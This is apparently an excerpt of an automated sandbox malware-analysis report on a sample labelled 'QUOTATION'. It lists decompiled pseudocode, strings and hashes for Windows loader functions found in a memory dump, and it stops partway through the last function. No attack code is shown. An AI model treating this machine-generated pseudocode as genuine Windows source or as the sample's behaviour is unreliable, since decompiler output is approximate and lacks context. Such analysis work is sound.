				intOrPtr _v200;
				char _v220;
				intOrPtr _v224;
				intOrPtr _v228;
				intOrPtr _v232;
				char* _v236;
				intOrPtr _v240;
				char _v244;
				signed short _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				intOrPtr _v272;
				short _v274;
				char _v276;
				signed int _v280;
				char _v284;
				char _v288;
				char _v292;
				char _v293;
				intOrPtr _v297;
				intOrPtr _v308;
				intOrPtr _v316;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t77;
				signed int _t83;
				void* _t85;
				void* _t88;
				signed int _t94;
				signed short _t102;
				char _t113;
				void* _t127;
				void* _t137;
				void* _t138;
				intOrPtr _t146;
				void* _t149;
				void* _t150;
				void* _t151;
				void* _t153;
				void* _t154;
				intOrPtr _t158;
				signed int _t160;
				void* _t163;

				_t162 = (_t160 & 0xfffffff8) - 0x124;
				_v8 =  *0x3381b370 ^ (_t160 & 0xfffffff8) - 0x00000124;
				_t137 = 0;
				_v264 = 0;
				_v280 = 0;
				_t163 =  *0x33815d70 - _t137; // 0x0
				if(_t163 != 0) {
					L18:
					_t77 = 0;
					L16:
					_pop(_t149);
					_pop(_t153);
					_pop(_t138);
					return E33764B50(_t77, _t138, _v8 ^ _t162, _t147, _t149, _t153);
				}
				_push( &_v260);
				_push(0);
				_push(0);
				_push( *((intOrPtr*)( *[fs:0x30] + 8)));
				_t150 = 3;
				_push(_t150);
				E3372E580();
				_t154 = 2;
				_t83 =  *(_v280 + 0x5c) & 0x0000ffff;
				if(_t83 != _t150) {
					if(_t83 == _t154) {
						goto L2;
					}
					goto L18;
				}
				L2:
				_push(0x336f13b0);
				_push(_t150);
				_push( &_v268);
				_t85 = E33762AB0();
				_t151 = 4;
				if(_t85 >= 0) {
					_push( &_v256);
					_push(0x50);
					_push( &_v92);
					_push(_t154);
					_push(0x336f1a88);
					_push(_v268);
					_t88 = E33762B00();
					_push(_v292);
					E33762A80();
					if(_t88 < 0 || _v88 != _t151 || _v84 != _t151 || _v80 <= _t137) {
						_t154 = 2;
						goto L3;
					} else {
						L15:
						_t77 = _t137;
						goto L16;
					}
				}
				L3:
				_push(0x338133b0);
				_push(0x20019);
				_v293 = _t137;
				_push( &_v288);
				_v288 = _t137;
				if(E33762AB0() >= 0) {
					_push( &_v284);
					_push(0x30);
					_push( &_v220);
					_push(_t154);
					_push(_v288);
					_t94 = E33762AF0();
					_push(_v308);
					_t156 = _t94;
					E33762A80();
					_t52 = _t156 + 0x7ffffffb; // 0x7ffffffb
					asm("sbb ecx, ecx");
					_t139 =  ~_t52 & _t94;
					if(( ~_t52 & _t94) < 0 || _v200 == _t137) {
						goto L4;
					} else {
						L26:
						if(E3373DDA0(_t137, _t137, 0x336f1a78,  &_v264) >= 0) {
							_t158 = _v264;
							if(E3373CF00(_t139, _t147, _t158, 0x336f1a90, _t137,  &_v280, _t137, _v0) < 0 || _v280 == _t137) {
								E3373CD80(_t139, _t158);
								_t137 = 0xc0000139;
							} else {
								asm("ror eax, cl");
								 *0x33815b64 =  *0x7ffe0330 ^ _v280;
								 *0x338168e4 = _t158;
							}
						} else {
							_t137 = 0xc0000135;
						}
						goto L15;
					}
				}
				L4:
				_push(0x336f1398);
				_push(1);
				_push( &_v292);
				if(E33762AB0() < 0) {
					L7:
					if(E33743890(_t137,  &_v252) < 0) {
						goto L15;
					}
					_v276 = 0;
					_t102 = (_v252 & 0x0000ffff) + 0x78;
					if(_t102 > 0xfffe) {
						L14:
						E33733B90( &_v252);
						if(_v297 != _t137) {
							goto L26;
						}
						goto L15;
					}
					_t146 =  *0x33815d78; // 0x0
					_t147 = _t102 & 0x0000ffff;
					_t139 = _t146 + 0x180000;
					_v274 = _t102 & 0x0000ffff;
					_t113 = E33735D90(_t146 + 0x180000,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t146 + 0x180000, _t102 & 0x0000ffff);
					_v284 = _t113;
					if(_t113 == 0) {
						goto L14;
					}
					if(E337410D0(_t139,  &_v276,  &_v252) >= 0 && E3372FE40(_t139,  &_v276, L"\\Software\\Policies\\Microsoft\\Windows\\Safer\\CodeIdentifiers") >= 0) {
						_v244 = 0x18;
						_v236 =  &_v276;
						_push( &_v244);
						_push(1);
						_v240 = _t137;
						_push( &_v292);
						_v232 = 0x40;
						_v228 = _t137;
						_v224 = _t137;
						if(E33762AB0() >= 0) {
							_push( &_v284);
							_push(0x50);
							_push( &_v172);
							_push(2);
							_push(0x336f1390);
							_push(_v292);
							_t127 = E33762B00();
							_push(_v316);
							E33762A80();
							if(_t127 >= 0 && _v168 == _t151 && _v164 == _t151 && _v160 > 1) {
								_v293 = 1;
							}
						}
					}
					E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t137, _v272);
					goto L14;
				} else {
					_push( &_v284);
					_push(0x50);
					_push( &_v172);
					_push(2);
					_push(0x336f1390);
					_push(_v292);
					if(E33762B00() >= 0) {
						if(_v168 == _t151 && _v164 == _t151 && _v160 > 1) {
							_v293 = 1;
							_push( &_v284);
							_push(0x50);
							_push( &_v172);
							_push(2);
							_push(0x336f1a80);
							_push(_v292);
							E33762B00();
						}
					}
					_push(_v292);
					E33762A80();
					if(_v297 != _t137) {
						goto L26;
					}
					goto L7;
				}
			}

0x3375832a
0x33758337
0x3375833f
0x33758343
0x33758347
0x3375834b
0x33758351
0x33758515
0x33758515
0x337584f7
0x337584fe
0x337584ff
0x33758500
0x3375850b
0x3375850b
0x3375835b
0x33758362
0x33758363
0x33758364
0x33758369
0x3375836a
0x3375836b
0x33758376
0x33758377
0x3375837e
0x3375850f
0x00000000
0x00000000
0x00000000
0x3375850f
0x33758384
0x33758384
0x33758389
0x3375838e
0x3375838f
0x33758396
0x33758399
0x33794eee
0x33794eef
0x33794ef8
0x33794ef9
0x33794efa
0x33794eff
0x33794f03
0x33794f08
0x33794f0e
0x33794f15
0x33794f38
0x00000000
0x337584f5
0x337584f5
0x337584f5
0x00000000
0x337584f5
0x33794f15
0x3375839f
0x3375839f
0x337583a4
0x337583ad
0x337583b1
0x337583b2
0x337583bd
0x33794f42
0x33794f43
0x33794f49
0x33794f4a
0x33794f4b
0x33794f4f
0x33794f54
0x33794f58
0x33794f5a
0x33794f5f
0x33794f67
0x33794f69
0x33794f6b
0x00000000
0x33794f7b
0x33794f7b
0x33794f8e
0x33795052
0x3379506a
0x33795093
0x33795098
0x33795072
0x33795080
0x33795082
0x33795087
0x33795087
0x33794f94
0x33794f94
0x33794f94
0x00000000
0x33794f8e
0x33794f6b
0x337583c3
0x337583c3
0x337583c8
0x337583ce
0x337583db
0x33758413
0x3375841f
0x00000000
0x00000000
0x33758427
0x33758431
0x33758439
0x337584e1
0x337584e6
0x337584ef
0x00000000
0x00000000
0x00000000
0x337584ef
0x3375843f
0x33758445
0x33758448
0x33758456
0x3375845e
0x33758463
0x33758469
0x00000000
0x00000000
0x3375847c
0x33758495
0x3375849d
0x337584a5
0x337584a6
0x337584ac
0x337584b0
0x337584b1
0x337584b9
0x337584bd
0x337584c8
0x33794ff3
0x33794ff4
0x33794ffd
0x33794ffe
0x33795000
0x33795001
0x33795005
0x3379500a
0x33795010
0x33795017
0x33795045
0x33795045
0x33795017
0x337584c8
0x337584dc
0x00000000
0x337583dd
0x337583e1
0x337583e2
0x337583eb
0x337583ec
0x337583ee
0x337583ef
0x337583fa
0x33794fa5
0x33794fca
0x33794fcf
0x33794fd0
0x33794fd9
0x33794fda
0x33794fdc
0x33794fe1
0x33794fe5
0x33794fe5
0x33794fa5
0x33758400
0x33758404
0x3375840d
0x00000000
0x00000000
0x00000000
0x3375840d

Strings

@, xrefs: 337584B1
minkernel\ntdll\ldrinit.c, xrefs: 33758341
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 3375847E
LdrpInitializeProcess, xrefs: 33758342

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: ad6b95d2a643226708b25697c1a34b6ef730793b3028057f622bcf440502cbd2
Instruction ID: b45db58c4b9407198eef056b96ae42293417c26a12806af54ca9c41b0b718f53
Opcode Fuzzy Hash: ad6b95d2a643226708b25697c1a34b6ef730793b3028057f622bcf440502cbd2
Instruction Fuzzy Hash: F2919E71A09345AFF321DF20C854FABB7EDAB88795F44092EFA88DA150E774C944CB52

Uniqueness

Uniqueness Score: -1.00%

Function 3375265C Relevance: 5.2, Strings: 4, Instructions: 249
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E3375265C(signed char __ecx, signed int __edx, intOrPtr _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed int _v8;
				char _v532;
				signed int _v536;
				signed int _v540;
				signed int _v544;
				char* _v548;
				short _v550;
				short _v552;
				signed int* _v556;
				signed int* _v560;
				signed int* _v564;
				signed int _v568;
				void* __ebx;
				void* __edi;
				void* __esi;
				short _t95;
				intOrPtr _t96;
				void* _t104;
				signed int _t105;
				signed int* _t107;
				void* _t113;
				signed int _t119;
				intOrPtr _t120;
				void* _t121;
				char* _t128;
				void* _t129;
				signed int _t131;
				signed short _t139;
				signed int _t142;
				signed int _t147;
				signed int _t149;
				signed int _t154;

				_t141 = __edx;
				_v8 =  *0x3381b370 ^ _t154;
				_v556 = _a12;
				_t128 =  &_v532;
				_v560 = _a8;
				_t147 = 0;
				_v564 = _a16;
				_t142 = 0;
				_v540 = __ecx;
				_v532 = 0;
				_t131 = 0;
				_v552 = 0;
				_t95 = 2;
				_v550 = _t95;
				_t96 = _a4;
				_v536 = 0;
				_v544 = 0;
				_v548 = _t128;
				if(_t96 == 0x336f120c) {
					E337AEF10(0x33, 0, "SXS: %s() passed the empty activation context\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t148 = 0xc000000d;
					L39:
					return E33764B50(_t148, _t128, _v8 ^ _t154, _t141, _t142, _t148);
				}
				if(_v560 != 0) {
					 *_v560 =  *_v560 & 0;
					_t147 = 0;
				}
				if(_v556 != _t131) {
					 *_v556 =  *_v556 & _t131;
					_t147 = _t131;
				}
				if(_v564 != _t131) {
					 *_v564 =  *_v564 & _t142;
					_t131 = _t142;
				}
				if((_v540 & 0xfffffffc) != 0 || _t141 == 0 || _v560 == _t142 || _v556 == _t142) {
					_push(_v556);
					_push(_v560);
					_push(_t141);
					_push(_v540);
					E337AEF10(0x33, 0, "SXS: %s() bad parameters:\nSXS:    Flags                : 0x%lx\nSXS:    Peb                  : %p\nSXS:    ActivationContextData: %p\nSXS:    AssemblyStorageMap   : %p\n", "RtlpGetActivationContextDataStorageMapAndRosterHeader");
					_t148 = 0xc000000d;
					goto L37;
				} else {
					if(_t96 != 0) {
						if(_t96 == 0xfffffffc) {
							L24:
							_t57 = _t141 + 0x200; // 0x230
							_t131 = _t57;
							_t104 =  *_t131;
							_t58 = _t141 + 0x204; // 0x234
							_t147 = _t58;
							_v536 = _t131;
							_v544 = _t147;
							if(_t104 == 0) {
								L33:
								_t105 =  *_t147;
								L34:
								_t141 = _v556;
								 *_v556 = _t105;
								 *_v560 =  *_t131;
								_t107 = _v564;
								if(_t107 != 0) {
									 *_t107 = _t142;
								}
								_t148 = 0;
								L37:
								if(_t128 != 0 && _t128 !=  &_v532) {
									E33733B90( &_v552);
								}
								goto L39;
							}
							_t142 =  *((intOrPtr*)(_t104 + 0x18)) + _t104;
							L26:
							_t141 = 0;
							if( *_t131 != 0 &&  *_t147 == 0) {
								_t108 =  *(_t142 + 8);
								if( *(_t142 + 8) > 0x3ffffffc) {
									_t148 = 0xc0000095;
									goto L37;
								}
								_t129 = E33735D90(_t131,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, 0xc + _t108 * 4);
								if(_t129 == 0) {
									_t148 = 0xc0000017;
									L51:
									_t128 = _v548;
									goto L37;
								}
								_t141 =  *(_t142 + 8);
								_t67 = _t129 + 0xc; // 0xc
								_t113 = E337533D0(_t129,  *(_t142 + 8), _t67);
								_t148 = _t113;
								if(_t113 < 0) {
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t129);
									goto L51;
								}
								_t147 = _v544;
								asm("lock cmpxchg [esi], ecx");
								if(0 != 0) {
									E33719303(_t129);
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t129);
								}
								_t131 = _v536;
								_t128 = _v548;
							}
							goto L33;
						}
						if((_v540 & 0x00000003) != 0) {
							goto L12;
						}
						_t55 = _t96 + 0x10; // 0x10
						_t131 = _t55;
						_t141 =  *_t131;
						if(_t141 == 0) {
							_t148 = 0xc00000e5;
							goto L39;
						}
						_t142 =  *((intOrPtr*)(_t141 + 0x18)) + _t141;
						_t105 = _t96 + 0x5c;
						goto L34;
					}
					L12:
					if(_t96 == 0xfffffffc || (_v540 & 0x00000002) != 0) {
						goto L24;
					} else {
						if(_t96 != 0) {
							if((_v540 & 0x00000001) == 0) {
								goto L26;
							}
						}
						_t31 = _t141 + 0x1f8; // 0x228
						_t131 = _t31;
						_t119 =  *_t131;
						_t32 = _t141 + 0x1fc; // 0x22c
						_t147 = _t32;
						_v536 = _t131;
						_v544 = _t147;
						if(_t119 == 0) {
							goto L33;
						}
						_t142 =  *((intOrPtr*)(_t119 + 0x18)) + _t119;
						_v568 = _t142;
						if( *_t147 != 0) {
							goto L26;
						}
						_t120 =  *((intOrPtr*)(_t141 + 0x10));
						_t141 = 0x208;
						_t139 =  *(_t120 + 0x38);
						_t142 =  *(_t120 + 0x3c);
						_t149 = _t139 & 0x0000ffff;
						_v540 = _t139;
						_t41 = _t149 + 0xe; // 0x23a
						_t121 = _t41;
						if(_t121 > 0x208) {
							if(_t121 <= 0xfffe) {
								_v550 = _t139 + 0xe;
								_t128 = E33735D60(_t139 + 0x0000000e & 0x0000ffff);
								_v548 = _t128;
								if(_t128 != 0) {
									L19:
									E337688C0(_t128, _t142, _t149);
									_t131 = _v536;
									_v552 = _v540 + 0xc;
									asm("movsd");
									asm("movsd");
									asm("movsd");
									asm("movsw");
									_t142 = _v568;
									_t147 = _v544;
									goto L26;
								}
								_t148 = 0xc0000017;
								goto L39;
							}
							_t148 = 0xc0000106;
							goto L39;
						}
						_t128 =  &_v532;
						_v550 = 0x208;
						_v548 = _t128;
						goto L19;
					}
				}
			}

0x3375265c
0x3375266e
0x33752675
0x3375267b
0x33752685
0x3375268b
0x33752691
0x33752697
0x3375269b
0x337526a1
0x337526a8
0x337526aa
0x337526b3
0x337526b4
0x337526bb
0x337526be
0x337526c4
0x337526ca
0x337526d5
0x33791ff1
0x33791ff9
0x33752906
0x33752916
0x33752916
0x337526e1
0x337526e9
0x337526eb
0x337526eb
0x337526f3
0x337526fb
0x337526fd
0x337526fd
0x33752705
0x3375270d
0x3375270f
0x3375270f
0x3375271b
0x337920a8
0x337920ae
0x337920b4
0x337920b5
0x337920c9
0x337920d1
0x00000000
0x33752741
0x33752743
0x33752813
0x3375283c
0x3375283c
0x3375283c
0x33752842
0x33752844
0x33752844
0x3375284a
0x33752850
0x33752858
0x337528d2
0x337528d2
0x337528d4
0x337528d4
0x337528da
0x337528e4
0x337528e6
0x337528ee
0x337528f0
0x337528f0
0x337528f2
0x337528f4
0x337528f6
0x337920e2
0x337920e2
0x00000000
0x337528f6
0x3375285d
0x3375285f
0x3375285f
0x33752863
0x33752869
0x33752871
0x3379205d
0x00000000
0x3379205d
0x3375288e
0x33752892
0x33792067
0x33792080
0x33792080
0x00000000
0x33792080
0x33752898
0x3375289b
0x337528a1
0x337528a6
0x337528aa
0x3379207b
0x00000000
0x3379207b
0x337528b0
0x337528ba
0x337528c0
0x3379208d
0x3379209e
0x3379209e
0x337528c6
0x337528cc
0x337528cc
0x00000000
0x33752863
0x3375281c
0x00000000
0x00000000
0x33752822
0x33752822
0x33752825
0x33752829
0x33792003
0x00000000
0x33792003
0x33752832
0x33752834
0x00000000
0x33752834
0x33752749
0x3375274c
0x00000000
0x3375275f
0x33752761
0x33792014
0x00000000
0x00000000
0x3379201a
0x33752767
0x33752767
0x3375276d
0x3375276f
0x3375276f
0x33752775
0x3375277b
0x33752783
0x00000000
0x00000000
0x3375278c
0x33752791
0x33752797
0x00000000
0x00000000
0x3375279d
0x337527a0
0x337527a5
0x337527a8
0x337527ab
0x337527ae
0x337527b4
0x337527b4
0x337527b9
0x33792024
0x33792033
0x33792043
0x33792045
0x3379204d
0x337527d2
0x337527d5
0x337527e8
0x337527ee
0x337527fd
0x337527fe
0x337527ff
0x33752800
0x33752802
0x33752808
0x00000000
0x33752808
0x33792053
0x00000000
0x33792053
0x33792026
0x00000000
0x33792026
0x337527bf
0x337527c5
0x337527cc
0x00000000
0x337527cc
0x3375274c

Strings

SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 337920C0
SXS: %s() passed the empty activation context, xrefs: 33791FE8
.Local, xrefs: 337527F8
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 33791FE3, 337920BB

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 48bb2fe78c81a889c93245a1bb29ecca629fcd5f8e1bf41057074385f027ab53
Instruction ID: a2f5175da7c6b89a8c4fd77bb3edb971f6861cd2fefdcc6932474749727dda13
Opcode Fuzzy Hash: 48bb2fe78c81a889c93245a1bb29ecca629fcd5f8e1bf41057074385f027ab53
Instruction Fuzzy Hash: 5BA19E75D0132D9BEB64CF58D888B99B3B5BF58354F1501E9E848AF251D730AE81CF90

Uniqueness

Uniqueness Score: -1.00%

Function 337B327E Relevance: 5.2, Strings: 4, Instructions: 236
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E337B327E(char __ecx, signed int* __edx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int* _v36;
				signed int _v40;
				char _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				char _v68;
				char* _v72;
				short _v74;
				char _v76;
				char* _v80;
				short _v82;
				char _v84;
				signed int* _v100;
				signed int _v104;
				signed int _v108;
				void* _v112;
				signed int* _v116;
				signed int _v120;
				char _v124;
				signed int _v128;
				char _v132;
				intOrPtr _v164;
				signed int _v172;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t76;
				short _t77;
				void* _t78;
				signed char* _t79;
				signed int _t81;
				signed int _t90;
				signed int _t94;
				signed int _t103;
				signed int _t104;
				signed int _t111;
				signed int _t112;
				signed char* _t119;
				signed char* _t126;
				signed int _t129;
				signed int _t130;
				short _t132;
				intOrPtr* _t134;
				signed int _t139;
				signed int* _t144;
				signed char* _t151;
				char _t155;
				signed int _t156;

				_t155 = __ecx;
				_v100 = __edx;
				_t132 = 0x28;
				_t76 = 0x2a;
				_v82 = _t76;
				_t77 = 0x26;
				_v84 = _t132;
				_v80 = L"LdrpResMapFile Enter";
				_v76 = _t77;
				_v74 = _t132;
				_v72 = L"LdrpResMapFile Exit";
				_t78 = E33733C40();
				_t126 = 0x7ffe0385;
				if(_t78 == 0) {
					_t79 = 0x7ffe0385;
				} else {
					_t79 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
				}
				_t151 = 0x7ffe0384;
				if(( *_t79 & 0x00000001) != 0) {
					if(E33733C40() == 0) {
						_t119 = 0x7ffe0384;
					} else {
						_t119 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					E337AFC01( &_v84,  *_t119 & 0x000000ff);
				}
				if(_t155 == 0) {
					L48:
					_t156 = 0xc000000d;
					L14:
					if(E33733C40() != 0) {
						_t126 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t126 & 0x00000001) != 0) {
						if(E33733C40() != 0) {
							_t151 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						}
						E337AFC01( &_v76,  *_t151 & 0x000000ff);
					}
					_t81 = _t156;
					L21:
					return _t81;
				}
				_t144 = _v100;
				if(_t144 == 0) {
					goto L48;
				}
				_t134 = _a4;
				_t166 = _t134;
				if(_t134 == 0) {
					goto L48;
				}
				_t129 = _a8;
				 *_t144 =  *_t144 & 0x00000000;
				_push(_t129 | 0x00200000);
				_push(_t134);
				_push(_t144);
				_push(_t155);
				if(E337289C0(_t129, _t151, _t155, _t166) < 0) {
					__eflags = _t129 & 0x00000400;
					if((_t129 & 0x00000400) == 0) {
						__eflags = _t129 & 0x00000800;
						if((_t129 & 0x00000800) == 0) {
							_t156 = 0xc000000d;
							L13:
							_t126 = 0x7ffe0385;
							goto L14;
						}
						_v132 = _t155;
						L37:
						__eflags = _t129 & 0x00020000;
						if((_t129 & 0x00020000) == 0) {
							L42:
							_push(_t155);
							_push(0x8000000);
							_push(2);
							_push(0);
							_push(0);
							_push(0xf0005);
							_push( &_v124);
							_t90 = E33762E50();
							_t130 =  !_t129;
							_t156 = _t90;
							__eflags = _t130 & 0x00000800;
							if((_t130 & 0x00000800) != 0) {
								_push(_v132);
								E33762A80();
							}
							__eflags = _t156;
							if(_t156 < 0) {
								goto L13;
							} else {
								_push(2);
								_push(0);
								_push(1);
								_push( &_v112);
								_v84 = 0;
								_push( &_v84);
								_push(0);
								_push(0);
								_v80 = 0;
								_push( &_v120);
								_push(0xffffffff);
								_push(_v124);
								_v112 = 0;
								_v120 = 0;
								_t94 = E33762C30();
								_push(_v164);
								_t156 = _t94;
								E33762A80();
								_t126 = 0x7ffe0385;
								__eflags = _t156;
								if(_t156 >= 0) {
									 *_v116 = _v120 | 0x00000001;
									 *_a4 = _v112;
								}
								goto L14;
							}
						}
						_t81 = E337B314A(_t155,  &_v76);
						__eflags = _t81;
						if(_t81 < 0) {
							goto L21;
						}
						__eflags = _v76 -  *_a4;
						if(_v76 <=  *_a4) {
							_t155 = _v132;
							goto L42;
						}
						_t156 = 0xc000001f;
						goto L13;
					}
					_t103 = E33741C10(_t155,  &_v108, 0,  &_v60);
					__eflags = _t103;
					if(_t103 != 0) {
						_t104 = _v60;
						_v128 = _v104;
						__eflags = _t104;
						if(_t104 == 0) {
							_t139 = 0;
							__eflags = 0;
						} else {
							_t139 = _v52;
							_v108 = _t104;
							_t104 = _v56;
							_v104 = _t104;
						}
						_v44 = 0x18;
						_v32 = 0x40;
						asm("sbb eax, eax");
						_v40 = _t104 & _t139;
						_v36 =  &_v108;
						_push(0);
						_push(0);
						_push(0);
						_push(1);
						_push(5);
						_push(0);
						_push(0);
						_v28 = 0;
						_v24 = 0;
						_push( &_v68);
						_push( &_v44);
						_push(0x80100080);
						_push( &_v132);
						_t111 = E33762F00();
						__eflags = _v172;
						_t156 = _t111;
						if(_v172 != 0) {
							_t112 = _v48;
							__eflags = _t112;
							if(_t112 != 0) {
								__eflags = _t139 | 0xffffffff;
								asm("lock xadd [eax], ecx");
								if((_t139 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t112 + 4)));
									E33762A80();
									E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v52);
								}
							}
							E33733BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v128);
						}
						__eflags = _t156;
						if(_t156 < 0) {
							goto L13;
						} else {
							_t155 = _v132;
							goto L37;
						}
					}
					_t156 = 0xc00b0001;
					goto L13;
				}
				_t156 = 0xc000020a;
				goto L13;
			}

0x337b328e
0x337b3290
0x337b3294
0x337b3297
0x337b329a
0x337b329f
0x337b32a0
0x337b32a5
0x337b32ad
0x337b32b2
0x337b32b7
0x337b32bf
0x337b32c4
0x337b32cb
0x337b32dd
0x337b32cd
0x337b32d6
0x337b32d6
0x337b32e2
0x337b32e7
0x337b32f0
0x337b3302
0x337b32f2
0x337b32fb
0x337b32fb
0x337b330b
0x337b330b
0x337b3312
0x337b3588
0x337b3588
0x337b3353
0x337b335a
0x337b3365
0x337b3365
0x337b336e
0x337b3377
0x337b3382
0x337b3382
0x337b338f
0x337b338f
0x337b3394
0x337b3396
0x337b339c
0x337b339c
0x337b3318
0x337b331e
0x00000000
0x00000000
0x337b3324
0x337b3327
0x337b3329
0x00000000
0x00000000
0x337b332f
0x337b3334
0x337b333c
0x337b333d
0x337b333e
0x337b333f
0x337b3347
0x337b339f
0x337b33a5
0x337b349c
0x337b34a2
0x337b357e
0x337b334e
0x337b334e
0x00000000
0x337b334e
0x337b34a8
0x337b34ac
0x337b34ac
0x337b34b2
0x337b34e0
0x337b34e0
0x337b34e1
0x337b34e6
0x337b34e8
0x337b34ea
0x337b34ec
0x337b34f5
0x337b34f6
0x337b34fb
0x337b34fd
0x337b34ff
0x337b3505
0x337b3507
0x337b350b
0x337b350b
0x337b3510
0x337b3512
0x00000000
0x337b3518
0x337b3518
0x337b3520
0x337b3521
0x337b3523
0x337b3528
0x337b352c
0x337b352d
0x337b352e
0x337b3533
0x337b3537
0x337b3538
0x337b353a
0x337b353e
0x337b3542
0x337b3546
0x337b354b
0x337b354f
0x337b3551
0x337b3556
0x337b355b
0x337b355d
0x337b3571
0x337b3577
0x337b3577
0x00000000
0x337b355d
0x337b3512
0x337b34ba
0x337b34bf
0x337b34c1
0x00000000
0x00000000
0x337b34ce
0x337b34d0
0x337b34dc
0x00000000
0x337b34dc
0x337b34d2
0x00000000
0x337b34d2
0x337b33b8
0x337b33bd
0x337b33bf
0x337b33c8
0x337b33d0
0x337b33d4
0x337b33d7
0x337b33eb
0x337b33eb
0x337b33d9
0x337b33d9
0x337b33dd
0x337b33e1
0x337b33e5
0x337b33e5
0x337b33ef
0x337b33f7
0x337b33ff
0x337b3403
0x337b340b
0x337b3411
0x337b3412
0x337b3413
0x337b3414
0x337b3416
0x337b3418
0x337b3419
0x337b341a
0x337b3421
0x337b342c
0x337b3434
0x337b3435
0x337b343e
0x337b343f
0x337b3444
0x337b3449
0x337b344b
0x337b344d
0x337b3451
0x337b3453
0x337b3455
0x337b3458
0x337b345c
0x337b345e
0x337b3461
0x337b3475
0x337b3475
0x337b345c
0x337b3489
0x337b3489
0x337b348e
0x337b3490
0x00000000
0x337b3496
0x337b3496
0x00000000
0x337b3496
0x337b3490
0x337b33c1
0x00000000
0x337b33c1
0x337b3349
0x00000000

Strings

LdrpResMapFile Enter, xrefs: 337B32A5
@, xrefs: 337B33F7
LdrpResMapFile Exit, xrefs: 337B32B7
X}p3, xrefs: 337B353A

Memory Dump Source

Source File: 00000008.00000002.4328211307.00000000336F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 336F0000, based on PE: true

Associated: 00000008.00000002.4328211307.0000000033819000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000008.00000002.4328211307.000000003381D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_336f0000_QUOTATION.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit$X}p3
API String ID: 0-954065110
Opcode ID: f00872131da422ce8e8a47eff404b0e865ba63feb2d3e49d3ceb5e08d75584a4
Instruction ID: 31d5651789106c1c64e98bc9a4abda8325b9b8cd58e7dbae96a2982cc909f422
Opcode Fuzzy Hash: f00872131da422ce8e8a47eff404b0e865ba63feb2d3e49d3ceb5e08d75584a4
Instruction Fuzzy Hash: 4D817E75609340AFFB11CB25C844B6BB7F9EF88754F480929F9849F290DBB4D944CB62

Uniqueness

Uniqueness Score: -1.00%

Function 3372B360 Relevance: 5.2, Strings: 4, Instructions: 221
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E3372B360(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				short _t85;
				short _t86;
				intOrPtr* _t88;
				signed char* _t89;
				void* _t90;
				signed char* _t91;
				signed int _t93;
				signed int _t95;
				void* _t97;
				intOrPtr* _t99;
				signed int _t105;
				signed short _t109;
				void* _t114;
				signed char _t117;
				signed char _t118;
				signed int _t124;
				short _t127;
				signed int _t131;
				signed char* _t132;
				signed int _t135;
				intOrPtr _t137;
				signed short _t139;
				signed int _t143;
				intOrPtr _t148;
				signed int _t160;
				intOrPtr _t169;
				void* _t171;
				void* _t173;
				signed char _t186;

				_push(0x12c);
				_push(0x337fbf88);
				E33777BE4(__ebx, __edi, __esi);
				 *((char*)(_t173 - 0x1d)) = 1;
				 *(_t173 - 0x24) = 1;
				_t127 = 0x42;
				 *((short*)(_t173 - 0x44)) = _t127;
				_t85 = 0x44;
				 *((short*)(_t173 - 0x42)) = _t85;
				 *(_t173 - 0x40) = L"LdrpResGetResourceDirectory Enter";
				_t86 = 0x40;
